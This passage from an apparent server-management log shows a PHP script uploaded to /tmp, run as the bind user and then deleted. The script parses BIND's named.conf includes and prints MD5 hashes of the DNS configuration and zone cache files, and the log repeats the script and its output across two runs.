			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:35:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp512886; rm /tmp/pkp512886'

2026-07-15 13:35:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:35:54: Establishing a connection
2026-07-15 13:35:55: 

PUT: /tmp/pkp152406

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:35:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp152406; rm /tmp/pkp152406'

2026-07-15 13:35:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
